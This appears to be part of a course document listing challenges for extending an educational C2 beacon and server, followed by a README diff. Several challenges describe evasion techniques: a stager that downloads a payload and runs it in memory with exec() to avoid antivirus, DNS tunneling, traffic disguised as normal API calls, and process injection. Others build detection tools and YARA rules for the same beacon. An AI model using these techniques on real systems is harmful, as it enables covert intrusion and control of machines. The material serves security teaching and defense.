3. On the frontend, modify the `connect` function in `ws.ts`. In the `ws.onopen` callback (line 170), send the auth key as the first message: `ws.send(JSON.stringify({ type: "auth", key: "..." }))`. You will need the key available in the frontend, either hardcoded for development, or loaded from a login form, or passed via an environment variable using Vite's `import.meta.env`.
|
||||
|
||||
4. You will also need to adjust `ops_manager.connect()` at `manager.py:25`. Currently it calls `await ws.accept()`. If you manually accept in the router before auth, the manager should skip the accept call. Alternatively, restructure so the manager does the accepting and auth checking.
|
||||
|
||||
5. Watch out for the message loop at `router.py:51`. After auth, the first "real" message should be a `submit_task`, not the auth message. Make sure you do not accidentally interpret the auth message as a task submission.
|
||||
|
||||
**Files to modify:**
|
||||
- `backend/app/config.py`
|
||||
- `backend/app/ops/router.py`
|
||||
- `frontend/src/core/ws.ts`
|
||||
|
||||
**How to test:**
|
||||
- Set `AUTH_KEY=my-secret-key` in your `.env` file
|
||||
- Update the frontend to send this key on connect
|
||||
- Start the stack and verify the dashboard loads normally
|
||||
- Change the frontend key to a wrong value and verify the WebSocket closes with 4001
|
||||
- Check server logs for the unauthorized attempt
|
||||
|
||||
---
|
||||
|
||||
### Challenge 6: Add More Quick Action Buttons
|
||||
|
||||
**What to build:** Expand the quick actions panel on the session page with additional buttons. Consider `whoami`, `uname -a`, `id`, `hostname`, and network commands.
|
||||
|
||||
**Why it matters:** Quick actions speed up common reconnaissance tasks during an engagement. Real C2 operators run the same handful of commands on every new beacon to orient themselves: who am I, what system is this, what network am I on. Having one-click buttons for these beats typing them every time.
|
||||
|
||||
**What you will learn:**
|
||||
- How quick actions map to existing command types
|
||||
- Building shell commands that get sent through the `shell` command type
|
||||
- Extending React component interfaces
|
||||
|
||||
**Where to start reading:**
|
||||
|
||||
The `QuickActions` component is at `frontend/src/pages/session/index.tsx:55-88`. It renders three buttons for `sysinfo`, `proclist`, and `screenshot`. Each button calls `onSend` with a `CommandType`. The `onSend` prop comes from `handleSend` at line 164, which accepts a `CommandType` and optional `args`.
|
||||
|
||||
Notice that `sysinfo`, `proclist`, and `screenshot` are their own command types, so the buttons call `onSend('sysinfo')` with no args. But for shell commands, you need to call `handleSend` with both the command type and arguments, like `handleSend('shell', 'whoami')`.
|
||||
|
||||
**Hints:**
|
||||
|
||||
1. The `QuickActions` component currently takes `onSend: (cmd: CommandType) => void`. You need to change this to accept args too: `onSend: (cmd: CommandType, args?: string) => void`. This matches the signature of `handleSend` at line 164, which already accepts optional args.
|
||||
|
||||
2. Add new buttons that call `onSend('shell', 'whoami')`, `onSend('shell', 'uname -a')`, `onSend('shell', 'id')`, etc.
|
||||
|
||||
3. Consider grouping the buttons. You could create sections: "System Info" for sysinfo/proclist, "Quick Recon" for shell commands, "Collection" for screenshot. Use a heading or visual separator.
|
||||
|
||||
4. You could also add buttons for `keylog_start`, `keylog_stop`, and `sleep`. The sleep button might want to prompt for an interval, but start simple with a fixed value.
|
||||
|
||||
**Files to modify:**
|
||||
- `frontend/src/pages/session/index.tsx`
|
||||
|
||||
**How to test:**
|
||||
- Open a session with an active beacon
|
||||
- Click each new quick action button
|
||||
- Verify the correct command and args appear in the terminal
|
||||
- Verify the beacon returns results for each
|
||||
|
||||
---
|
||||
|
||||
### Challenge 7: Task History Persistence
|
||||
|
||||
**What to build:** When you navigate away from a session page and come back, reload the previous task history from the server so the terminal shows past commands and results.
|
||||
|
||||
**Why it matters:** Right now, the terminal entries live in React component state. Navigate away and they vanish. In a real engagement that lasts hours or days, operators switch between beacons constantly. Losing terminal history means losing context about what has already been run, leading to redundant commands or missed results.
|
||||
|
||||
**What you will learn:**
|
||||
- Fetching historical data from REST APIs on component mount
|
||||
- Mapping database records to UI state
|
||||
- The relationship between the WebSocket (real-time) and REST (historical) data paths
|
||||
|
||||
**Where to start reading:**
|
||||
|
||||
The REST endpoint already exists. Look at `backend/app/ops/router.py:128-137`. The `GET /beacons/{beacon_id}/tasks` endpoint calls `task_manager.get_history(beacon_id, db)` which is implemented at `backend/app/beacon/tasking.py:93-116`. This function joins `tasks` with `task_results` and returns rows with columns: `id`, `command`, `args`, `status`, `created_at`, `completed_at`, `output`, `error`.
|
||||
|
||||
The session page at `frontend/src/pages/session/index.tsx:138` has the `Component` function. The `entries` state at line 145 is `TerminalEntry[]` where each entry has `command`, `args`, `result`, and `taskId`.
|
||||
|
||||
The `TerminalEntry` interface is at line 32. The `result` field is `TaskResult | null`, and `TaskResult` (from `types.ts:47-54`) has `id`, `task_id`, `output`, `error`, and `created_at`.
|
||||
|
||||
**Hints:**
|
||||
|
||||
1. Add a `useEffect` in the `Component` function that fetches `/api/beacons/${id}/tasks` on mount. Parse the response into `TerminalEntry[]` objects and call `setEntries(...)` with the result.
|
||||
|
||||
2. You need to map the REST response format to `TerminalEntry`. The REST response has `command`, `args`, `output`, `error`, and `id` (the task ID). Build each entry like:
|
||||
```
|
||||
{
|
||||
command: row.command,
|
||||
args: row.args,
|
||||
result: row.output || row.error ? { id: "...", task_id: row.id, output: row.output, error: row.error, created_at: row.created_at } : null,
|
||||
taskId: row.id,
|
||||
}
|
||||
```
|
||||
|
||||
3. The history comes back in `ORDER BY created_at DESC` (see `tasking.py:113`), so you will want to reverse it for chronological display in the terminal.
|
||||
|
||||
4. Be careful not to duplicate entries. If a task result arrives via WebSocket while you are also loading history from REST, you could end up with the same entry twice. Consider deduplicating by `taskId` or only loading history if `entries` is empty.
|
||||
|
||||
**Files to modify:**
|
||||
- `frontend/src/pages/session/index.tsx`
|
||||
|
||||
**How to test:**
|
||||
- Open a session, run several commands, wait for results
|
||||
- Navigate back to the dashboard
|
||||
- Click the same beacon again to re-enter the session
|
||||
- Verify the previous commands and results appear in the terminal
|
||||
- Run a new command and verify it appends correctly after the historical entries
|
||||
|
||||
---
|
||||
|
||||
### Challenge 8: Add AES-256 Encryption
|
||||
|
||||
**What to build:** Replace the XOR encoding with AES-256-GCM encryption for the beacon-to-server communication channel.
|
||||
|
||||
**Why it matters:** XOR encoding is trivially reversible. Anyone who captures the traffic and discovers the key (which is a static string from an environment variable) can decode every message. Even without the key, XOR encoding is vulnerable to known-plaintext attacks. If an attacker knows the beacon sends a `HEARTBEAT` message every few seconds, they can XOR the known plaintext against the ciphertext to recover the key.
|
||||
|
||||
AES-256-GCM provides authenticated encryption: confidentiality (attackers cannot read the message), integrity (attackers cannot modify the message without detection), and authentication (the decryptor can verify the message came from someone with the key).
|
||||
|
||||
MITRE ATT&CK reference: T1573.001 (Encrypted Channel: Symmetric Cryptography).
|
||||
|
||||
**What you will learn:**
|
||||
- AES-GCM symmetric encryption with random IVs
|
||||
- Key derivation from passwords using PBKDF2 or HKDF
|
||||
- The difference between encoding (XOR, Base64) and encryption (AES-GCM)
|
||||
- Updating both sides of a communication protocol simultaneously
|
||||
|
||||
**Where to start reading:**
|
||||
|
||||
The server-side encoding is at `backend/app/core/encoding.py`. The `encode` function at line 16 does `UTF-8 -> XOR -> Base64`. The `decode` function at line 24 reverses it. These are called by `backend/app/core/protocol.py:37-59` in the `pack` and `unpack` functions.
|
||||
|
||||
The beacon-side encoding is at `beacon/beacon.py:56-78`. The `xor_bytes`, `encode`, and `decode` functions mirror the server side exactly.
|
||||
|
||||
The XOR key comes from `backend/app/config.py:41-44` (`XOR_KEY` setting) and `beacon/beacon.py:40-41` (`C2_XOR_KEY` environment variable). Both default to `"c2-beacon-default-key-change-me"`.
|
||||
|
||||
**Hints:**
|
||||
|
||||
1. Use Python's `cryptography` library. Specifically, `cryptography.hazmat.primitives.ciphers.aead.AESGCM`. This gives you a clean API: `aesgcm.encrypt(nonce, plaintext, associated_data)` and `aesgcm.decrypt(nonce, ciphertext, associated_data)`.
|
||||
|
||||
2. AES-256 requires a 32-byte key. The current XOR key is a human-readable string. Derive a proper 256-bit key from it using HKDF or PBKDF2:
|
||||
```python
|
||||
from cryptography.hazmat.primitives.kdf.hkdf import HKDF
|
||||
from cryptography.hazmat.primitives import hashes
|
||||
key = HKDF(
|
||||
algorithm=hashes.SHA256(),
|
||||
length=32,
|
||||
salt=None,
|
||||
info=b"c2-beacon-aes",
|
||||
).derive(password.encode("utf-8"))
|
||||
```
|
||||
|
||||
3. Each message needs a unique 12-byte nonce (IV). Generate it with `os.urandom(12)`. Prepend it to the ciphertext so the receiver can extract it. The final format is: `base64(nonce + ciphertext + auth_tag)`.
|
||||
|
||||
4. You need to update both `encoding.py` (server) and `beacon.py` (beacon) in lockstep. If one side upgrades to AES while the other still uses XOR, they cannot communicate.
|
||||
|
||||
5. The `protocol.py` functions `pack` and `unpack` do not need structural changes. They call `encode` and `decode`. If you change what those functions do internally, the protocol layer stays the same.
|
||||
|
||||
6. Write a test. The existing tests at `backend/tests/test_encoding.py` validate the XOR encode/decode round trip. Update them for AES-GCM.
|
||||
|
||||
**Files to modify:**
|
||||
- `backend/app/core/encoding.py`
|
||||
- `beacon/beacon.py`
|
||||
- `backend/tests/test_encoding.py`
|
||||
|
||||
---
|
||||
|
||||
## Advanced Challenges
|
||||
|
||||
---
|
||||
|
||||
### Challenge 9: Multi-Operator Support with Roles
|
||||
|
||||
**What to build:** Add role-based access control where operators are either "admin" or "viewer." Admins can send commands to beacons. Viewers can watch the dashboard and see results in real time, but cannot submit tasks.
|
||||
|
||||
**Why it matters:** During a red team engagement, the operator who controls beacons is not always the only person watching. Team leads, report writers, and other operators may want to observe activity without the risk of accidentally running commands. Cobalt Strike has this exact feature: operators can be given "read-only" access to a team server.
|
||||
|
||||
**What you will learn:**
|
||||
- Role-based authorization in WebSocket connections
|
||||
- Server-side message filtering
|
||||
- Frontend conditional rendering based on permissions
|
||||
|
||||
**Where to start reading:**
|
||||
|
||||
The `OpsManager` at `backend/app/ops/manager.py:15` stores connections as a plain `set[WebSocket]`. It has no concept of who each connection belongs to or what they are allowed to do.
|
||||
|
||||
The operator WebSocket handler at `backend/app/ops/router.py:51-77` processes all incoming messages the same way. The `submit_task` handler at line 55 does not check any permissions.
|
||||
|
||||
**Hints:**
|
||||
|
||||
1. Change the `OpsManager._connections` from `set[WebSocket]` to `dict[WebSocket, str]` where the value is the role ("admin" or "viewer").
|
||||
|
||||
2. When an operator connects, have them send a role claim in their first message (or as part of an auth message if you completed Challenge 5). Store the role in the connections dict.
|
||||
|
||||
3. In the `operator_websocket` handler at `router.py:55`, before processing a `submit_task` message, check the operator's role. If they are a viewer, send back an error message instead of submitting the task.
|
||||
|
||||
4. On the frontend, store the operator's role in the Zustand store. Use it to conditionally disable the command input and quick action buttons for viewers. Disable the buttons visually (grayed out, `disabled` attribute) so viewers can see what is available but cannot interact.
|
||||
|
||||
5. The `broadcast` method at `manager.py:40` should continue to send events to all operators regardless of role. Viewers need to see beacon connections, heartbeats, and task results.
|
||||
|
||||
**Files to modify:**
|
||||
- `backend/app/ops/manager.py`
|
||||
- `backend/app/ops/router.py`
|
||||
- `frontend/src/core/ws.ts`
|
||||
- `frontend/src/pages/session/index.tsx`
|
||||
|
||||
---
|
||||
|
||||
### Challenge 10: Beacon Staging
|
||||
|
||||
**What to build:** A two-stage deployment where a small stager script downloads and executes the full beacon payload from the C2 server at runtime. The stager is just a few lines of Python. The full beacon code lives on the server and is served on demand.
|
||||
|
||||
**Why it matters:** Real C2 frameworks almost always use stagers. The reason is operational security. A tiny stager (10-20 lines) is harder for antivirus to detect than a full beacon (500+ lines with imports like `psutil`, `mss`, and `pynput`). The stager downloads the payload into memory, so the full beacon code never touches disk, which defeats file-based scanning.
|
||||
|
||||
MITRE ATT&CK references: T1059.006 (Command and Scripting Interpreter: Python), T1105 (Ingress Tool Transfer).
|
||||
|
||||
**What you will learn:**
|
||||
- Staged payload delivery
|
||||
- In-memory code execution with `exec()`
|
||||
- Serving code payloads from the C2 server
|
||||
- The security tradeoffs of stagers vs. stageless payloads
|
||||
|
||||
**Where to start reading:**
|
||||
|
||||
The current beacon at `beacon/beacon.py` is a standalone script. It imports its dependencies at the top and runs `asyncio.run(main())` at line 513. Everything is self-contained.
|
||||
|
||||
The backend app is assembled in `backend/app/__init__.py` (or `__main__.py`). REST endpoints are mounted through the router files. Look at how `rest_router` is used in `backend/app/ops/router.py:22` for the pattern.
|
||||
|
||||
**Hints:**
|
||||
|
||||
1. Add a new REST endpoint to the backend: `GET /api/stage`. This endpoint reads the `beacon/beacon.py` file and returns its contents as plain text. You will need to configure the path to the beacon file (an environment variable or a settings field).
|
||||
|
||||
2. The stager is a small Python script that does three things:
|
||||
- Fetches the payload from the C2 server via HTTP
|
||||
- Optionally verifies a hash or signature to prevent tampering
|
||||
- Calls `exec()` to run the payload in memory
|
||||
|
||||
3. Keep the stager as small as possible. It should use only standard library modules (`urllib.request`, `ssl`). No `pip install` required. The smaller the stager, the harder it is to detect.
|
||||
|
||||
4. Consider encoding or encrypting the payload in transit. The stager could XOR-decode the payload before executing it. This adds a thin layer of obfuscation, though a determined analyst will still reverse it.
|
||||
|
||||
5. Think about error handling. If the C2 server is down, the stager should retry with exponential backoff, similar to the beacon's reconnect logic at `beacon.py:460-510`.
|
||||
|
||||
6. Security concern: `exec()` runs arbitrary code. The stager should validate that the payload came from the real C2 server, not from a man-in-the-middle. Use HTTPS for the download, or implement a shared secret that the stager uses to verify the payload.
|
||||
|
||||
**Files to modify:**
|
||||
- New REST endpoint in `backend/app/ops/router.py` (or a new router file)
|
||||
- New stager script (a separate small Python file)
|
||||
- Optionally: `backend/app/config.py` for staging configuration
|
||||
|
||||
---
|
||||
|
||||
### Challenge 11: Build a Detection Tool
|
||||
|
||||
**What to build:** A network monitoring script that detects our beacon's traffic patterns. This script sits on the defender's side and watches for signs of C2 communication.
|
||||
|
||||
**Why it matters:** Building the detection tool for your own C2 framework teaches you both offense and defense simultaneously. You will understand why certain traffic patterns are suspicious and how defenders actually catch C2 beacons in the wild. This is the kind of thinking that separates script kiddies from security professionals.
|
||||
|
||||
This challenge also validates your C2 design. If your detection tool can catch the beacon easily, you know the beacon's OPSEC is weak.
|
||||
|
||||
**What you will learn:**
|
||||
- Network traffic analysis with Python
|
||||
- Behavioral detection (finding patterns, not signatures)
|
||||
- How IDS/IPS systems like Snort and Suricata work at a conceptual level
|
||||
- The defender's perspective on C2 traffic
|
||||
|
||||
**Where to start reading:**
|
||||
|
||||
Study the beacon's communication patterns by reading `beacon/beacon.py`:
|
||||
- The beacon connects via WebSocket to a fixed URL (line 38): `ws://localhost:8000/ws/beacon`
|
||||
- It sends a `REGISTER` message immediately on connect (line 468)
|
||||
- It sends `HEARTBEAT` messages on a regular interval (line 443-453) with jitter (line 97-102)
|
||||
- The heartbeat interval defaults to 3 seconds with 30% jitter (lines 42-43)
|
||||
- All messages are XOR-encoded then Base64-encoded (lines 62-78)
|
||||
|
||||
These patterns are detectable:
|
||||
- Regular periodic WebSocket connections to the same endpoint
|
||||
- Base64-encoded payloads of similar sizes (heartbeats are always roughly the same length)
|
||||
- A fixed WebSocket upgrade path (`/ws/beacon`)
|
||||
|
||||
**Hints:**
|
||||
|
||||
1. Use `scapy` or `pyshark` to capture network traffic. Start simple: capture all TCP traffic on the C2 server's port (default 8000) and look for WebSocket upgrade requests.
|
||||
|
||||
2. Detect the heartbeat rhythm. Record the timestamps of consecutive messages from the same source IP. If they arrive at a regular interval (plus or minus the jitter), flag it as suspicious. A function that computes the standard deviation of inter-message intervals will reveal the regularity.
|
||||
|
||||
3. Look at message sizes. Heartbeat messages are always the same plaintext length, and XOR does not change the length, so the Base64-encoded output will be the same length every time. If you see many messages of identical size from the same source, that is a strong C2 indicator.
|
||||
|
||||
4. Check for the WebSocket upgrade path. A GET request to `/ws/beacon` is a dead giveaway. In a real engagement, the operator would change this to something innocuous like `/api/v2/health`. For this challenge, detect the default path.
|
||||
|
||||
5. Consider writing Snort or Suricata rules instead of (or in addition to) a Python script. A Snort rule that matches the WebSocket upgrade to `/ws/beacon` is a one-liner.
|
||||
|
||||
**Files to modify:**
|
||||
- New Python script (e.g., `tools/detect_beacon.py`)
|
||||
|
||||
---
|
||||
|
||||
### Challenge 12: Add a DNS-Based C2 Channel
|
||||
|
||||
**What to build:** An alternative transport layer where the beacon communicates through DNS TXT record queries instead of WebSockets. The beacon encodes commands and results as DNS queries and responses.
|
||||
|
||||
**Why it matters:** WebSocket connections to unusual endpoints are relatively easy to detect and block. DNS traffic, on the other hand, is allowed through almost every firewall because blocking DNS breaks everything. DNS-based C2 is used by sophisticated threat actors precisely because DNS is so permissive. Tools like `dnscat2`, `iodine`, and Cobalt Strike's DNS beacon all exploit this.
|
||||
|
||||
MITRE ATT&CK reference: T1071.004 (Application Layer Protocol: DNS).
|
||||
|
||||
**What you will learn:**
|
||||
- DNS protocol fundamentals (query types, TXT records, encoding constraints)
|
||||
- DNS tunneling techniques
|
||||
- Building a custom DNS server in Python
|
||||
- The severe bandwidth limitations of DNS as a transport
|
||||
|
||||
**Where to start reading:**
|
||||
|
||||
The current transport is WebSocket-based. The beacon connects at `beacon/beacon.py:466` using `websockets.connect()`. Messages are sent with `ws.send()` and received with `ws.recv()`. The entire transport is abstracted behind these two operations.
|
||||
|
||||
The server receives WebSocket connections at `backend/app/beacon/router.py:92`. The `beacon_websocket` function handles the WebSocket lifecycle.
|
||||
|
||||
**Hints:**
|
||||
|
||||
1. Start by understanding DNS TXT records. A DNS query for `data.yourdomain.com` can return arbitrary text in the TXT record (up to 255 bytes per string, multiple strings per record). The beacon encodes its data in the subdomain labels and reads responses from TXT records.
|
||||
|
||||
2. Build a simple DNS server using Python's `dnslib` library. It listens on UDP port 53, receives queries, decodes the subdomain labels to extract beacon data, and responds with TXT records containing task data.
|
||||
|
||||
3. The encoding constraint is severe. DNS labels are limited to 63 characters each, and the total domain name cannot exceed 253 characters. Base32 encoding (not Base64, because DNS is case-insensitive) is the standard approach. This means you can fit roughly 150 bytes of raw data per query.
|
||||
|
||||
4. Large payloads (like `sysinfo` or `proclist` results) must be chunked across multiple DNS queries. Implement a sequencing protocol: each chunk includes a sequence number and a total count so the server can reassemble them.
|
||||
|
||||
5. The beacon's main loop changes from "connect WebSocket, send/receive" to "periodically make DNS queries." Each heartbeat becomes a query like `HEARTBEAT.beaconid.yourdomain.com`. The server responds with either "no tasks" or the encoded task data in a TXT record.
|
||||
|
||||
6. This is a major refactor. Consider abstracting the transport layer in the beacon so you can swap between WebSocket and DNS without rewriting the command handlers. Create a `Transport` interface with `send()` and `receive()` methods.
|
||||
|
||||
**Files to modify:**
|
||||
- Major refactor of `beacon/beacon.py` (transport abstraction)
|
||||
- New DNS server script
|
||||
- New DNS transport implementation for the beacon
|
||||
|
||||
---
|
||||
|
||||
## Expert Challenges
|
||||
|
||||
---
|
||||
|
||||
### Challenge 13: Malleable C2 Profile
|
||||
|
||||
**What to build:** Implement traffic shaping where the C2 communication mimics normal HTTP traffic. Make beacon requests look like they are fetching resources from a CDN, a social media API, or a weather service.
|
||||
|
||||
**Why it matters:** Network defenders use heuristics to flag unusual traffic. WebSocket connections to a random IP on port 8000 are suspicious by default. But HTTPS requests to what looks like `api.weather.com/v2/forecast?lat=40.7&lon=-74.0` blend into normal traffic. Cobalt Strike's "malleable C2 profiles" are configuration files that define exactly how traffic should look. This is one of the most powerful evasion techniques in modern C2 frameworks.
|
||||
|
||||
MITRE ATT&CK reference: T1001.003 (Data Obfuscation: Protocol Impersonation).
|
||||
|
||||
**Where to start reading:**
|
||||
|
||||
Study the current message format. The beacon sends XOR+Base64 encoded strings over WebSocket. A network observer sees Base64 blobs going to a WebSocket endpoint. This is obviously not normal web traffic.
|
||||
|
||||
Look at how the beacon's `pack` function at `beacon/beacon.py:81-86` builds messages and how the server's `unpack` at `protocol.py:45-59` parses them. The transformation happens at these two points.
|
||||
|
||||
**Hints:**
|
||||
|
||||
1. Research Cobalt Strike's malleable C2 profile format. Read some example profiles to understand what traffic shaping means in practice. Key concepts: URI paths, HTTP headers, parameter encoding, body transforms.
|
||||
|
||||
2. Replace the WebSocket transport with HTTPS requests that mimic a legitimate API. For example, the beacon could send heartbeats as `GET /api/v2/feed?user=<encoded_beacon_id>&ts=<encoded_heartbeat>` and receive tasks in the response body wrapped in fake JSON like `{"status": "ok", "data": {"items": ["<encoded_task>"]}}`.
|
||||
|
||||
3. Add realistic HTTP headers: `User-Agent`, `Accept`, `Content-Type`, `Cache-Control`. Copy headers from a real browser request to the service you are impersonating.
|
||||
|
||||
4. Vary the URI paths. Do not hit the same endpoint every time. Rotate between `/api/feed`, `/api/profile`, `/api/notifications`, etc. Each can carry the same encoded payload but looks like different API calls.
|
||||
|
||||
5. The server side needs a corresponding transformation. For each fake API endpoint, the server extracts the real C2 data from the request parameters or body, processes it, and wraps the response in the same fake API format.
|
||||
|
||||
---
|
||||
|
||||
### Challenge 14: Write a YARA Rule
|
||||
|
||||
**What to build:** Write YARA rules that detect this project's beacon source code on disk and its network traffic patterns in a PCAP capture.
|
||||
|
||||
**Why it matters:** YARA is the standard tool for malware identification. Threat intelligence teams write YARA rules to hunt for known malware across endpoints and network captures. Writing YARA rules for your own tool teaches you what makes malware identifiable and how to reduce those indicators.
|
||||
|
||||
**Where to start reading:**
|
||||
|
||||
Study the beacon source at `beacon/beacon.py` for unique strings and patterns:
|
||||
- The default XOR key at line 41: `"c2-beacon-default-key-change-me"`
|
||||
- The `REGISTER` message type string at line 468
|
||||
- The `COMMAND_HANDLERS` dictionary keys at lines 419-430
|
||||
- Import combinations: `psutil`, `websockets`, `mss`, `pynput` together in one file is unusual
|
||||
- The `collect_system_info` function at line 105 gathers hostname, OS, username, PID, internal IP, and architecture, which is a distinctive fingerprint
|
||||
|
||||
**Hints:**
|
||||
|
||||
1. Install YARA (`sudo apt install yara` or `pip install yara-python`) and read the documentation on rule syntax. A basic rule needs: `rule name { strings: $s1 = "pattern" condition: $s1 }`.
|
||||
|
||||
2. For detecting the beacon source code on disk, look for unique string combinations. Any single string could appear in legitimate code, so combine multiple strings with `and` conditions. For example: the XOR key AND the `collect_system_info` function name AND the `COMMAND_HANDLERS` variable name.
|
||||
|
||||
3. For detecting network traffic, capture a PCAP of the beacon communicating with the server (use `tcpdump` or Wireshark). Look for the WebSocket upgrade request to `/ws/beacon` and the periodic Base64-encoded messages.
|
||||
|
||||
4. Test your rules against the beacon file AND against a set of benign Python files to verify you get no false positives. A rule that matches every Python script is useless.
|
||||
|
||||
5. Consider writing separate rules: one for "beacon source on disk" (text matching) and one for "beacon traffic in PCAP" (byte pattern matching against the encoded message format).
|
||||
|
||||
---
|
||||
|
||||
### Challenge 15: Implement Process Injection
|
||||
|
||||
**What to build:** Instead of running the beacon as a visible Python process, inject the beacon code into another running process so it hides within a legitimate program.
|
||||
|
||||
**Why it matters:** A standalone `python3 beacon.py` process is visible in every process listing. Any system administrator running `ps aux` will see it. Process injection hides the beacon inside a trusted process like `sshd`, `nginx`, or `bash`, making it much harder to detect.
|
||||
|
||||
MITRE ATT&CK reference: T1055 (Process Injection).
|
||||
|
||||
**Where to start reading:**
|
||||
|
||||
The beacon currently runs as a standalone process. Look at `beacon/beacon.py:513-514` where `asyncio.run(main())` starts everything. The `collect_system_info` function at line 105 reports its own PID with `os.getpid()`.
|
||||
|
||||
**Hints:**
|
||||
|
||||
1. On Linux, research `ptrace`-based injection. The `ptrace` system call allows one process to control another. You can attach to a target process, allocate memory in its address space, write your shellcode or Python bytecode, and create a new thread to execute it.
|
||||
|
||||
2. A simpler approach on Linux is `LD_PRELOAD` injection. Create a shared library that starts the beacon in a background thread when loaded. Then start a legitimate program with `LD_PRELOAD=./beacon.so /usr/bin/some_program`. The beacon runs inside that program's process.
|
||||
|
||||
3. The Python-specific approach: use `ctypes` to call `dlopen()` and inject a shared library into the current process, or use `/proc/{pid}/mem` to write to another process's memory space (requires root).
|
||||
|
||||
4. This is significantly harder than the other challenges. Start by getting `LD_PRELOAD` injection working before attempting `ptrace`. The `ctypes` library in Python can interface with C-level system calls, but you will likely need to write a small C wrapper.
|
||||
|
||||
5. Consider the ethical implications. Process injection is a technique used by both red teams (authorized testing) and actual malware. Only test this in isolated lab environments you own. Running this against systems you do not have explicit authorization to test is illegal.
|
||||
|
||||
---
|
||||
|
||||
## Challenge Yourself Further
|
||||
|
||||
These are open-ended projects that go beyond modifying this codebase. They build the broader skills that matter for a career in offensive or defensive security.
|
||||
|
||||
**Compare with production C2 frameworks.** Install Sliver (open source, Go-based) or set up a Cobalt Strike trial. Run them side by side with this project. Compare the architecture: how does Sliver handle beacon registration? How does Cobalt Strike's team server differ from our `OpsManager`? What features do they have that we skipped? Document the differences.
|
||||
|
||||
**Capture and analyze your own traffic.** Run Wireshark while the beacon communicates with the server. Save the capture as a PCAP file. Identify the WebSocket handshake, the heartbeat pattern, and the task/result exchanges. Write Snort or Suricata rules that would detect this traffic on a corporate network. Test those rules against the PCAP to verify they trigger.
|
||||
|
||||
**Deploy over a real network.** Run the C2 server on a VPS (DigitalOcean, AWS, Linode) and the beacon on a different machine, either another VPS or a local VM. This exposes you to real networking challenges: firewalls, NAT traversal, DNS resolution, TLS certificates for secure WebSocket connections, and latency. Most local development bypasses these entirely.
|
||||
|
||||
**Map to MITRE ATT&CK.** Read the ATT&CK pages for every technique our commands implement. The beacon supports: T1059.004 (shell), T1082 (sysinfo), T1057 (proclist), T1105 (upload/download), T1113 (screenshot), T1056.001 (keylogging), T1053.003 (persist via cron), T1029 (sleep/jitter for scheduled transfer). For each technique, read the "Detection" section. What would a defender look for? Does our implementation leave those artifacts?
|
||||
|
||||
**Build a lab with detection tooling.** Set up an ELK stack (Elasticsearch, Logstash, Kibana) or Wazuh on the same network as the beacon. Configure Sysmon (Windows) or auditd (Linux) to log process creation, network connections, and file modifications. Run the beacon and see what alerts fire. This gives you the defender's perspective on every command you execute.
|
||||
|
||||
---
|
||||
|
||||
## Challenge Completion Tracker
|
||||
|
||||
Use this to track your progress. Check off each challenge as you complete it.
|
||||
|
||||
- [ ] Easy 1: Add a `pwd` Command
|
||||
- [ ] Easy 2: Add Beacon Uptime Display
|
||||
- [ ] Easy 3: Add a `clear` Terminal Command
|
||||
- [ ] Easy 4: Add Connection Count to Header
|
||||
- [ ] Intermediate 5: Add Operator Authentication
|
||||
- [ ] Intermediate 6: Add More Quick Action Buttons
|
||||
- [ ] Intermediate 7: Task History Persistence
|
||||
- [ ] Intermediate 8: Add AES-256 Encryption
|
||||
- [ ] Advanced 9: Multi-Operator Support with Roles
|
||||
- [ ] Advanced 10: Beacon Staging
|
||||
- [ ] Advanced 11: Build a Detection Tool
|
||||
- [ ] Advanced 12: Add DNS-Based C2 Channel
|
||||
- [ ] Expert 13: Malleable C2 Profile
|
||||
- [ ] Expert 14: Write a YARA Rule
|
||||
- [ ] Expert 15: Implement Process Injection
|
||||
|
|
@ -23,7 +23,7 @@
|
|||
<h2 align="center"><strong>View Complete Projects:</strong></h2>
|
||||
<div align="center">
|
||||
<a href="https://github.com/CarterPerez-dev/Cybersecurity-Projects/tree/main/PROJECTS">
|
||||
<img src="https://img.shields.io/badge/Full_Source_Code-14/60-blue?style=for-the-badge&logo=github" alt="Projects"/>
|
||||
<img src="https://img.shields.io/badge/Full_Source_Code-15/60-blue?style=for-the-badge&logo=github" alt="Projects"/>
|
||||
</a>
|
||||
</div>
|
||||
|
||||
|
|
@ -64,7 +64,7 @@ Tools, courses, certifications, communities, and frameworks for cybersecurity pr
|
|||
| **[Security News Scraper](./SYNOPSES/beginner/Security.News.Scraper.md)**<br>Aggregate cybersecurity news |    | Web scraping • CVE parsing • Database storage<br>[Learn More](./SYNOPSES/beginner/Security.News.Scraper.md) |
|
||||
| **[Phishing URL Detector](./SYNOPSES/beginner/Phishing.URL.Detector.md)**<br>Analyze URLs for phishing |    | URL analysis • Typosquatting detection • Safe browsing APIs<br>[Learn More](./SYNOPSES/beginner/Phishing.URL.Detector.md) |
|
||||
| **[SSH Brute Force Detector](./SYNOPSES/beginner/SSH.Brute.Force.Detector.md)**<br>Monitor and block SSH attacks |    | Log parsing • Attack detection • Firewall automation<br>[Learn More](./SYNOPSES/beginner/SSH.Brute.Force.Detector.md) |
|
||||
| **[WiFi Network Scanner](./SYNOPSES/beginner/WiFi.Network.Scanner.md)**<br>Scan wireless networks |    | Wireless protocols • Encryption types • Rogue AP detection<br>[Learn More](./SYNOPSES/beginner/WiFi.Network.Scanner.md) |
|
||||
| **[Simple C2 Beacon](./PROJECTS/beginner/c2-beacon)**<br>Command and Control beacon/server |      | C2 architecture • MITRE ATT&CK • WebSocket protocol • XOR encoding<br>[Source Code](./PROJECTS/beginner/c2-beacon) \| [Docs](./PROJECTS/beginner/c2-beacon/learn) |
|
||||
| **[Base64 Encoder/Decoder](./SYNOPSES/beginner/Base64.Encoder.Decoder.md)**<br>Multi-format encoding tool |    | Base64/32 encoding • URL encoding • Auto-detection<br>[Source Code](./PROJECTS/beginner/base64-tool) \| [Docs](./PROJECTS/beginner/base64-tool/learn) |
|
||||
| **[Firewall Log Parser](./SYNOPSES/beginner/Firewall.Log.Parser.md)**<br>Parse and visualize logs |    | Log parsing • Pattern recognition • Data visualization<br>[Learn More](./SYNOPSES/beginner/Firewall.Log.Parser.md) |
|
||||
| **[ARP Spoofing Detector](./SYNOPSES/beginner/ARP.Spoofing.Detector.md)**<br>Detect ARP attacks |    | ARP protocol • MAC tracking • MITM detection<br>[Learn More](./SYNOPSES/beginner/ARP.Spoofing.Detector.md) |
|
||||
|
|
|
|||
Loading…
Reference in New Issue